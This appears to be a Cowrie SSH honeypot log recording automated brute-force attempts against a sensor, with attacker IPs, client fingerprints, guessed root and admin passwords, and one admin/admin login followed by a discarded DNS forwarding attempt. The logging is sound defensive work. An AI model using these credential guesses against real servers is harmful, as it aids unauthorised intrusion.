{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:18.296058Z","src_ip":"43.128.112.183","session":"74d233ae65a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:18.381974Z","src_ip":"190.119.63.98","session":"efd66536c3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plex123","message":"login attempt [root/plex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:19.276277Z","src_ip":"43.128.112.183","session":"74d233ae65a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":45172,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f13bd7e86a8","protocol":"ssh","message":"New connection: 43.173.83.154:45172 (10.17.0.5:22) [session: 0f13bd7e86a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:20.228752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:20.234118Z","src_ip":"43.173.83.154","session":"0f13bd7e86a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:20.312271Z","src_ip":"43.173.83.154","session":"0f13bd7e86a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:20.516323Z","src_ip":"43.128.112.183","session":"74d233ae65a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polkadot","message":"login attempt [root/polkadot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:20.616128Z","src_ip":"43.173.83.154","session":"0f13bd7e86a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":34378,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d09bc2c9af7","protocol":"ssh","message":"New connection: 43.153.50.197:34378 (10.17.0.5:22) [session: 3d09bc2c9af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:21.678335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:21.683849Z","src_ip":"43.153.50.197","session":"3d09bc2c9af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:21.691293Z","src_ip":"43.173.83.154","session":"0f13bd7e86a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:21.755081Z","src_ip":"43.153.50.197","session":"3d09bc2c9af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:22.062771Z","src_ip":"43.153.50.197","session":"3d09bc2c9af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:23.135761Z","src_ip":"43.153.50.197","session":"3d09bc2c9af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":54576,"dst_ip":"10.17.0.5","dst_port":22,"session":"202dc6aadf59","protocol":"ssh","message":"New connection: 209.99.190.200:54576 (10.17.0.5:22) [session: 202dc6aadf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:31.726282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:31.730584Z","src_ip":"209.99.190.200","session":"202dc6aadf59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:31.827070Z","src_ip":"209.99.190.200","session":"202dc6aadf59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":45176,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a2544f6e700","protocol":"ssh","message":"New connection: 43.135.164.198:45176 (159.203.135.109:22) [session: 9a2544f6e700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:31.938359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:31.942548Z","src_ip":"43.135.164.198","session":"9a2544f6e700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:32.014652Z","src_ip":"43.135.164.198","session":"9a2544f6e700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j8LrZjtyudgwUkz","message":"login attempt [root/j8LrZjtyudgwUkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:32.228773Z","src_ip":"209.99.190.200","session":"202dc6aadf59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxswedc","message":"login attempt [root/qazxswedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:32.322556Z","src_ip":"43.135.164.198","session":"9a2544f6e700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:33.324841Z","src_ip":"209.99.190.200","session":"202dc6aadf59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:33.396273Z","src_ip":"43.135.164.198","session":"9a2544f6e700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":46186,"dst_ip":"159.203.135.109","dst_port":22,"session":"105211f4cc9b","protocol":"ssh","message":"New connection: 193.32.162.151:46186 (159.203.135.109:22) [session: 105211f4cc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:41.490745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:41.495424Z","src_ip":"193.32.162.151","session":"105211f4cc9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:41.599400Z","src_ip":"193.32.162.151","session":"105211f4cc9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:41.918073Z","src_ip":"193.32.162.151","session":"105211f4cc9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:43.026175Z","src_ip":"193.32.162.151","session":"105211f4cc9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31674,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c6dd82922c5","protocol":"ssh","message":"New connection: 87.251.64.176:31674 (10.17.0.5:22) [session: 2c6dd82922c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:45.995899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:46.002185Z","src_ip":"87.251.64.176","session":"2c6dd82922c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:46.100477Z","src_ip":"87.251.64.176","session":"2c6dd82922c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:46.537384Z","src_ip":"87.251.64.176","session":"2c6dd82922c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:46.657290Z","session":"2c6dd82922c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:46.776640Z","src_ip":"87.251.64.176","session":"2c6dd82922c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:47.038622Z","src_ip":"87.251.64.176","session":"2c6dd82922c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":56316,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d08bdb9bdd6","protocol":"ssh","message":"New connection: 43.135.168.126:56316 (159.203.135.109:22) [session: 5d08bdb9bdd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:49.846228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:49.850638Z","src_ip":"43.135.168.126","session":"5d08bdb9bdd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:49.923585Z","src_ip":"43.135.168.126","session":"5d08bdb9bdd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tp123456","message":"login attempt [root/tp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:50.226525Z","src_ip":"43.135.168.126","session":"5d08bdb9bdd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:51.297936Z","src_ip":"43.135.168.126","session":"5d08bdb9bdd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":47108,"dst_ip":"159.203.135.109","dst_port":22,"session":"d03871dfbc95","protocol":"ssh","message":"New connection: 43.163.81.22:47108 (159.203.135.109:22) [session: d03871dfbc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:53.382167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:08:53.386864Z","src_ip":"43.163.81.22","session":"d03871dfbc95","protocol":"ssh"}
